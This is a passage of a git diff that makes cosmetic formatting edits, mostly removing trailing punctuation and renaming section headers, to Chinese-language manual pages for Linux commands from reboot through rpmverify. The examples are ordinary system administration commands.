仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件 ``` ## 实例 ```sh -reboot //重开机。 -reboot -w //做个重开机的模拟(只有纪录并不会真的重开机)。 +reboot //重开机 +reboot -w //做个重开机的模拟(只有纪录并不会真的重开机) ``` diff --git a/Linux_man_cn/reject.md b/Linux_man_cn/reject.md index 499845a..5f06948 100644 --- a/Linux_man_cn/reject.md +++ b/Linux_man_cn/reject.md @@ -5,9 +5,9 @@ reject ## 说明 -**reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。 +**reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务 -### 语法 +## 选项 ``` reject(选项)(参数) @@ -16,14 +16,14 @@ reject(选项)(参数) ``` --E:当连接到服务器时强制使用加密; --U:指定连接服务器时使用的用户名; --h:指定连接服务器名和端口号; --r:指定拒绝打印任务的原因。 +-E:当连接到服务器时强制使用加密 +-U:指定连接服务器时使用的用户名 +-h:指定连接服务器名和端口号 +-r:指定拒绝打印任务的原因 ``` ### 参数 -目标:指定目标打印机。 +目标:指定目标打印机 diff --git a/Linux_man_cn/rename.md b/Linux_man_cn/rename.md index 3f97683..5dd2381 100644 --- a/Linux_man_cn/rename.md +++ b/Linux_man_cn/rename.md @@ -5,9 +5,9 @@ rename ## 说明 -**rename命令** 用字符串替换的方式批量改变文件名。 +**rename命令** 用字符串替换的方式批量改变文件名 -### 语法 +## 选项 ``` rename(参数) @@ -16,12 +16,12 @@ rename(参数) ### 参数 ``` -原字符串:将文件名需要替换的字符串; -目标字符串:将文件名中含有的原字符替换成目标字符串; -文件:指定要改变文件名的文件列表。 +原字符串:将文件名需要替换的字符串 +目标字符串:将文件名中含有的原字符替换成目标字符串 +文件:指定要改变文件名的文件列表 ``` -### 实例 +## 实例 将main1.c重命名为main.c @@ -39,13 +39,13 @@ rename main1.c main.c main1.c 文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 -如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 +如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0 -如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 +如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0 -如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 +如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名 -如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 +如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo **rename支持正则表达式** diff --git a/Linux_man_cn/repquota.md b/Linux_man_cn/repquota.md index 16a09c6..08bf024 100644 --- a/Linux_man_cn/repquota.md +++ b/Linux_man_cn/repquota.md @@ -5,9 +5,9 @@ repquota ## 说明 -**repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。 +**repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息 -### 语法 +## 选项 ``` repquota(选项)(参数) @@ -16,17 +16,17 @@ repquota(选项)(参数) ``` --a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组; --g:列出所有群组的磁盘空间限制; --u:列出所有用户的磁盘空间限制; --v:显示该用户或群组的所有空间限制。 +-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组 +-g:列出所有群组的磁盘空间限制 +-u:列出所有用户的磁盘空间限制 +-v:显示该用户或群组的所有空间限制 ``` ### 参数 -文件系统:要打印报表的文件系统或者对应的设备文件名。 +文件系统:要打印报表的文件系统或者对应的设备文件名 -### 实例 +## 实例 显示所有文件系统的磁盘使用情况 diff --git a/Linux_man_cn/resize.md b/Linux_man_cn/resize.md index 6993029..14a733f 100644 --- a/Linux_man_cn/resize.md +++ b/Linux_man_cn/resize.md @@ -1,13 +1,13 @@ resize === -命令设置终端机视窗的大小。 +命令设置终端机视窗的大小 ## 说明 -**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。 +**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小 -### 语法 +## 选项 ``` resize [-cu][-s <列数> <行数>] @@ -16,12 +16,12 @@ resize [-cu][-s <列数> <行数>] ``` --c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。 --s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。 --u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。 +-c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小 +-s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度 +-u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小 ``` -### 实例 +## 实例 使用 C shell diff --git a/Linux_man_cn/restore.md b/Linux_man_cn/restore.md index 76e874e..8f72cdf 100644 --- a/Linux_man_cn/restore.md +++ b/Linux_man_cn/restore.md @@ -5,9 +5,9 @@ restore ## 说明 -**restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。 +**restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件 -### 语法 +## 选项 ``` restore(选项) @@ -16,24 +16,24 @@ restore(选项) ``` --b<区块大小>:设置区块大小,单位为Byte; --c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件; --C:使用对比模式,将备份的文件与现行的文件相互对比; --D<文件系统>:允许用户指定文件系统的名称; --f<备份文件>:从指定的文件中读取备份数据,进行还原操作; --h:仅解除目录而不包括与该目录相关的所有文件; --i:使用互动模式,在进行还原操作时,restore指令将依序询问用户; --m:解开符合指定的inode编号的文件或目录而非用文件名称指定; --r:进行还原操作; --R:全面还原文件系统时,检查应从何处开始进行; --s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号; --t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称; --v:显示指令执行过程; --x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内; --y:不询问任何问题,一律以同意回答并继续执行指令。 -``` - -### 实例 +-b<区块大小>:设置区块大小,单位为Byte +-c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件 +-C:使用对比模式,将备份的文件与现行的文件相互对比 +-D<文件系统>:允许用户指定文件系统的名称 +-f<备份文件>:从指定的文件中读取备份数据,进行还原操作 +-h:仅解除目录而不包括与该目录相关的所有文件 +-i:使用互动模式,在进行还原操作时,restore指令将依序询问用户 +-m:解开符合指定的inode编号的文件或目录而非用文件名称指定 +-r:进行还原操作 +-R:全面还原文件系统时,检查应从何处开始进行 +-s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号 +-t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称 +-v:显示指令执行过程 +-x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内 +-y:不询问任何问题,一律以同意回答并继续执行指令 +``` + +## 实例 ``` dump -9 -u -f /dev/hda3 /home/frank/ diff --git a/Linux_man_cn/restorecon.md b/Linux_man_cn/restorecon.md index f905c5c..f5f5d53 100644 --- a/Linux_man_cn/restorecon.md +++ b/Linux_man_cn/restorecon.md @@ -5,9 +5,9 @@ restorecon ## 说明 -**restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。 +**restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文 -### 语法 +## 选项 ``` restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] @@ -16,17 +16,17 @@ restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] ``` --i:忽略不存在的文件。 --f:infilename 文件 infilename 中记录要处理的文件。 --e:directory 排除目录。 --R/-r:递归处理目录。 --n:不改变文件标签。 --o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。 --v:将过程显示到屏幕上。 --F:强制恢复文件安全语境。 +-i:忽略不存在的文件 +-f:infilename 文件 infilename 中记录要处理的文件 +-e:directory 排除目录 +-R/-r:递归处理目录 +-n:不改变文件标签 +-o/outfilename:保存文件列表到 outfilename,在文件不正确情况下 +-v:将过程显示到屏幕上 +-F:强制恢复文件安全语境 ``` -### 实例 +## 实例 假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例: @@ -45,12 +45,12 @@ welcome to www.jsdig.com [root@jsdig.com ~]# mv index.html /var/www/html/ /* - * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开, - * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出, + * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开 + * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出 * 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确, - * 正确的SELinux配置信息应该是scontext=后面的部分, - * 而index.html文件的SELinux配置信息却是tcontext=后面的部分, - * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。 + * 正确的SELinux配置信息应该是scontext=后面的部分 + * 而index.html文件的SELinux配置信息却是tcontext=后面的部分 + * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的 */ type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file diff --git a/Linux_man_cn/rev.md b/Linux_man_cn/rev.md index e5ac7b1..461c35d 100644 --- a/Linux_man_cn/rev.md +++ b/Linux_man_cn/rev.md @@ -5,9 +5,9 @@ rev ## 说明 -**rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。 +**rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推 -### 语法 +## 选项 ``` rev(参数) @@ -15,9 +15,9 @@ rev(参数) ### 参数 -文件:指定要反序显示内容的文件。 +文件:指定要反序显示内容的文件 -### 实例 +## 实例 ``` [root@localhost ~]# cat iptables.bak diff --git a/Linux_man_cn/rexec.md b/Linux_man_cn/rexec.md index 0d86e29..a2f6d77 100644 --- a/Linux_man_cn/rexec.md +++ b/Linux_man_cn/rexec.md @@ -5,11 +5,11 @@ rexec ## 说明 -**rexec命令** 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求。 +**rexec命令** 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求 -rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。 +rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能 -### 语法 +## 选项 ``` rexec(选项)(参数) @@ -18,18 +18,18 @@ rexec(选项)(参数) ``` --a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程; --l<用户名>:指定连接远程rexec服务器的用户名; --p<密码>:指定连接远程rexec服务器的密码; --n:明确地提示输入用户名和密码。 +-a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程 +-l<用户名>:指定连接远程rexec服务器的用户名 +-p<密码>:指定连接远程rexec服务器的密码 +-n:明确地提示输入用户名和密码 ``` ### 参数 -* 远程主机:指定远程主机(ip地址或主机名); -* 命令:指定需要在远程主机上执行的命令。 +* 远程主机:指定远程主机(ip地址或主机名) +* 命令:指定需要在远程主机上执行的命令 -### 实例 +## 实例 要在一个远程主机上执行date命令,输入: @@ -37,7 +37,7 @@ rexec(选项)(参数) rexec host1 date ``` -date命令的输出现在显示在本地系统上。本示例中,在本地主机上的`$HOME/.netrc`文件包含远程主机上有效的用户名和密码。如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。 +date命令的输出现在显示在本地系统上。本示例中,在本地主机上的`$HOME/.netrc`文件包含远程主机上有效的用户名和密码。如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上 要重设自动登录功能并执行远程主机上的date命令,输入: @@ -45,7 +45,7 @@ date命令的输出现在显示在本地系统上。本示例中,在本地主 rexec -nhost1 date ``` -出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。 +出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上 列出远程主机上另一个用户的目录,输入: @@ -53,8 +53,8 @@ rexec -nhost1 date rexec host1 ls -l /home/karen ``` -在远程主机host1上的karen 用户的目录列表显示在本地系统上。 +在远程主机host1上的karen 用户的目录列表显示在本地系统上 -如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。 +如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上 diff --git a/Linux_man_cn/rlogin.md b/Linux_man_cn/rlogin.md index 169ec6d..4e61e31 100644 --- a/Linux_man_cn/rlogin.md +++ b/Linux_man_cn/rlogin.md @@ -5,9 +5,9 @@ rlogin ## 说明 -**rlogin命令** 用于从当前终端登录到远程Linux主机。 +**rlogin命令** 用于从当前终端登录到远程Linux主机 -### 语法 +## 选项 ``` rlogin(选项)(参数) @@ -16,15 +16,15 @@ rlogin(选项)(参数) ``` --8:允许输入8位字符数据; --e脱离字符>:设置脱离字符; --E:滤除脱离字符; --l用户名称>:指定要登入远端主机的用户名称; --L:使用litout模式进行远端登入阶段操作。 +-8:允许输入8位字符数据 +-e脱离字符>:设置脱离字符 +-E:滤除脱离字符 +-l用户名称>:指定要登入远端主机的用户名称 +-L:使用litout模式进行远端登入阶段操作 ``` ### 参数 -远程主机:指定要登录的远程主机(ip地址或者域名)。 +远程主机:指定要登录的远程主机(ip地址或者域名) diff --git a/Linux_man_cn/rm.md b/Linux_man_cn/rm.md index 0a08b98..ed6caf1 100644 --- a/Linux_man_cn/rm.md +++ b/Linux_man_cn/rm.md @@ -31,7 +31,7 @@ --version 显示版本信息并退出 默认时,rm 不会删除目录。使用--recursive(-r 或-R)选项可删除每个给定 -的目录,以及其下所有的内容。 +的目录,以及其下所有的内容 To remove a file whose name starts with a '-', for example '-foo', use one of these commands: @@ -40,7 +40,7 @@ use one of these commands: rm ./-foo 请注意,如果使用rm 来删除文件,通常仍可以将该文件恢复原状。如果想保证 -该文件的内容无法还原,请考虑使用shred。 +该文件的内容无法还原,请考虑使用shred ``` ## 实例 diff --git a/Linux_man_cn/rmdir.md b/Linux_man_cn/rmdir.md index 14e34ff..e394081 100644 --- a/Linux_man_cn/rmdir.md +++ b/Linux_man_cn/rmdir.md @@ -5,13 +5,13 @@ rmdir ## 说明 -**rmdir命令** 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限。 +**rmdir命令** 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限 -注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子目录。 +注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子目录 -虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。 +虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性 -### 语法 +## 选项 ``` rmdir(选项)(参数) @@ -20,18 +20,18 @@ rmdir(选项)(参数) ``` --p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除; ---ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息; --v或-verboes:显示命令的详细执行过程; ---help:显示命令的帮助信息; ---version:显示命令的版本信息。 +-p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除 +--ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息 +-v或-verboes:显示命令的详细执行过程 +--help:显示命令的帮助信息 +--version:显示命令的版本信息 ``` ### 参数 -目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。 +目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开 -### 实例 +## 实例 删除子目录os_1和其父目录bin diff --git a/Linux_man_cn/rmmod.md b/Linux_man_cn/rmmod.md index 4bbb8cb..3abc9ca 100644 --- a/Linux_man_cn/rmmod.md +++ b/Linux_man_cn/rmmod.md @@ -5,9 +5,9 @@ rmmod ## 说明 -**rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。 +**rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们 -### 语法 +## 选项 ``` rmmod(选项)(参数) @@ -16,17 +16,17 @@ rmmod(选项)(参数) ``` --v:显示指令执行的详细信息; --f:强制移除模块,使用此选项比较危险; --w:等待着,直到模块能够被除时在移除模块; --s:向系统日志(syslog)发送错误信息。 +-v:显示指令执行的详细信息 +-f:强制移除模块,使用此选项比较危险 +-w:等待着,直到模块能够被除时在移除模块 +-s:向系统日志(syslog)发送错误信息 ``` ### 参数 -模块名:要移除的模块名称。 +模块名:要移除的模块名称 -### 实例 +## 实例 用rmmod命令主要用于卸载正在使用的Linux内核模块,与`modprobe -r`命令相似,如下所示: diff --git a/Linux_man_cn/route.md b/Linux_man_cn/route.md index 5e9697d..c4a34d5 100644 --- a/Linux_man_cn/route.md +++ b/Linux_man_cn/route.md @@ -5,11 +5,11 @@ route ## 说明 -**route命令** 用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。 +**route命令** 用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现 -在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。 +在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效 -### 语法 +## 选项 ``` route(选项)(参数) @@ -18,28 +18,28 @@ route(选项)(参数) ``` --A:设置地址类型; --C:打印将Linux核心的路由缓存; --v:详细信息模式; --n:不执行DNS反向查找,直接显示数字形式的IP地址; --e:netstat格式显示路由表; --net:到一个网络的路由表; --host:到一个主机的路由表。 +-A:设置地址类型 +-C:打印将Linux核心的路由缓存 +-v:详细信息模式 +-n:不执行DNS反向查找,直接显示数字形式的IP地址 +-e:netstat格式显示路由表 +-net:到一个网络的路由表 +-host:到一个主机的路由表 ``` ### 参数 ``` -Add:增加指定的路由记录; -Del:删除指定的路由记录; -Target:目的网络或目的主机; -gw:设置默认网关; -mss:设置TCP的最大区块长度(MSS),单位MB; -window:指定通过路由表的TCP连接的TCP窗口大小; -dev:路由记录所表示的网络接口。 +Add:增加指定的路由记录 +Del:删除指定的路由记录 +Target:目的网络或目的主机 +gw:设置默认网关 +mss:设置TCP的最大区块长度(MSS),单位MB +window:指定通过路由表的TCP连接的TCP窗口大小 +dev:路由记录所表示的网络接口 ``` -### 实例 +## 实例 **显示当前路由:** @@ -67,24 +67,24 @@ Destination Gateway Genmask Flags Metric Ref Use Iface 其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明: -* U Up表示此路由当前为启动状态。 -* H Host,表示此网关为一主机。 -* G Gateway,表示此网关为一路由器。 -* R Reinstate Route,使用动态路由重新初始化的路由。 -* D Dynamically,此路由是动态性地写入。 -* M Modified,此路由是由路由守护程序或导向器动态修改。 -* ! 表示此路由当前为关闭状态。 +* U Up表示此路由当前为启动状态 +* H Host,表示此网关为一主机 +* G Gateway,表示此网关为一路由器 +* R Reinstate Route,使用动态路由重新初始化的路由 +* D Dynamically,此路由是动态性地写入 +* M Modified,此路由是由路由守护程序或导向器动态修改 +* ! 表示此路由当前为关闭状态 **添加网关/设置网关:** ``` -route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达244.0.0.0的路由。 +route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 #增加一条到达244.0.0.0的路由 ``` **屏蔽一条路由:** ``` -route add -net 224.0.0.0 netmask 240.0.0.0 reject #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。 +route add -net 224.0.0.0 netmask 240.0.0.0 reject #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝 ``` **删除路由记录:** diff --git a/Linux_man_cn/rpm.md b/Linux_man_cn/rpm.md index 268c3fe..0951705 100644 --- a/Linux_man_cn/rpm.md +++ b/Linux_man_cn/rpm.md @@ -2,7 +2,7 @@ ## 说明 -**rpm命令** 是RPM软件包的管理工具。rpm原本是Red Hat Linux发行版专门用来管理Linux各项套件的程序,由于它遵循GPL规则且功能强大方便, +**rpm命令** 是RPM软件包的管理工具。rpm原本是Red Hat Linux发行版专门用来管理Linux各项套件的程序,由于它遵循GPL规则且功能强大方便 因而广受欢迎。逐渐受到其他发行版的采用。RPM套件管理方式的出现,让Linux易于安装,升级,间接提升了Linux的适用度 ## 选项 @@ -39,7 +39,7 @@ --noscript 不执行验证脚本 安装/升级/擦除选项: - --allfiles 安装全部文件,包含配置文件,否则配置文件会被跳过。 + --allfiles 安装全部文件,包含配置文件,否则配置文件会被跳过 --allmatches 移除所有符合 的软件包(如果 被指定未多个软件包,常常会导致错误出现) --badreloc 对不可重定位的软件包重新分配文件位置 -e, --erase=+ 清除 (卸载) 软件包 diff --git a/Linux_man_cn/rpm2cpio.md b/Linux_man_cn/rpm2cpio.md index 7d6d07f..8937c50 100644 --- a/Linux_man_cn/rpm2cpio.md +++ b/Linux_man_cn/rpm2cpio.md @@ -5,9 +5,9 @@ rpm2cpio ## 说明 -**rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件。 +**rpm2cpio命令** 用于将rpm软件包转换为cpio格式的文件 -### 语法 +## 选项 ``` rpm2cpio(参数) @@ -15,9 +15,9 @@ rpm2cpio(参数) ### 参数 -文件:指定要转换的rpm包的文件名。 +文件:指定要转换的rpm包的文件名 -### 实例 +## 实例 ``` rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv diff --git a/Linux_man_cn/rpmbuild.md b/Linux_man_cn/rpmbuild.md index 7ab1272..a6916b4 100644 --- a/Linux_man_cn/rpmbuild.md +++ b/Linux_man_cn/rpmbuild.md @@ -5,9 +5,9 @@ rpmbuild ## 说明 -**rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包。 +**rpmbuild命令** 被用于创建rpm的二进制软件包和源码软件包 -### 语法 +## 选项 ``` rpmbuild(选项) @@ -16,19 +16,19 @@ rpmbuild(选项) ``` ---initdb:初始化RPM数据库; ---rebuilddb:从已安装的包头文件,方向重建RPM数据库; --ba:创建二进制和源代码包; --bb:创建二进制代码包; --bs:创建源代码包。 +--initdb:初始化RPM数据库 +--rebuilddb:从已安装的包头文件,方向重建RPM数据库 +-ba:创建二进制和源代码包 +-bb:创建二进制代码包 +-bs:创建源代码包 ``` -### 实例 +## 实例 ``` rpmbuild -ba 'spec文件路径' ``` -build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。 +build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类 diff --git a/Linux_man_cn/rpmdb.md b/Linux_man_cn/rpmdb.md index e274bf1..c57e040 100644 --- a/Linux_man_cn/rpmdb.md +++ b/Linux_man_cn/rpmdb.md @@ -5,9 +5,9 @@ rpmdb ## 说明 -**rpmdb命令** 用于初始化和重建rpm数据库。 +**rpmdb命令** 用于初始化和重建rpm数据库 -### 语法 +## 选项 ``` rpmdb(选项) @@ -16,8 +16,8 @@ rpmdb(选项) ``` ---initdb:初始化RPM数据库; ---rebuilddb:从已安装的包头文件,反向重建RPM数据库。 +--initdb:初始化RPM数据库 +--rebuilddb:从已安装的包头文件,反向重建RPM数据库 ``` diff --git a/Linux_man_cn/rpmquery.md b/Linux_man_cn/rpmquery.md index 6207cd5..c09356e 100644 --- a/Linux_man_cn/rpmquery.md +++ b/Linux_man_cn/rpmquery.md @@ -5,9 +5,9 @@ rpmquery ## 说明 -**rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。 +**rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息 -### 语法 +## 选项 ``` rpmquery(选项) @@ -16,14 +16,14 @@ rpmquery(选项) ``` --qf:查询指定的文件所属的软件包; --q:查询指定的软件包是否被安装; --qc:查询软件包中的配置文件; --qd:查询软件包中的文档文件; --qi:查询软件包的基本信息。 +-qf:查询指定的文件所属的软件包 +-q:查询指定的软件包是否被安装 +-qc:查询软件包中的配置文件 +-qd:查询软件包中的文档文件 +-qi:查询软件包的基本信息 ``` -### 实例 +## 实例 使用rpmquery命令查询指定文件所属的软件包: diff --git a/Linux_man_cn/rpmsign.md b/Linux_man_cn/rpmsign.md index dbd9e13..250b2de 100644 --- a/Linux_man_cn/rpmsign.md +++ b/Linux_man_cn/rpmsign.md @@ -5,9 +5,9 @@ rpmsign ## 说明 -**rpmsign命令** 使用rpm软件包的签名管理工具。 +**rpmsign命令** 使用rpm软件包的签名管理工具 -### 语法 +## 选项 ``` rpmsign(选项) @@ -16,13 +16,13 @@ rpmsign(选项) ``` ---addsign:为自动软件包添加签名; ---checksig:验证软件包签名; ---delsign:删除软件包签名; ---import:导入公钥; ---resign:重新签名软件包; ---nodigest:不验证软件包摘要; ---nosignature:不验证软件包签名。 +--addsign:为自动软件包添加签名 +--checksig:验证软件包签名 +--delsign:删除软件包签名 +--import:导入公钥 +--resign:重新签名软件包 +--nodigest:不验证软件包摘要 +--nosignature:不验证软件包签名 ``` diff --git a/Linux_man_cn/rpmverify.md b/Linux_man_cn/rpmverify.md index df60c84..5f87c55 100644 --- a/Linux_man_cn/rpmverify.md +++ b/Linux_man_cn/rpmverify.md @@ -5,9 +5,9 @@ rpmverify ## 说明 -**rpmverify命令** 用来验证已安装的rpm软件包的正确性。 +**rpmverify命令** 用来验证已安装的rpm软件包的正确性 -### 语法 +## 选项 ``` rpmverify(选项) @@ -16,9 +16,9 @@ rpmverify(选项) ``` --Va:验证所有软件包; --V<软件包>f:验证指定软件包; 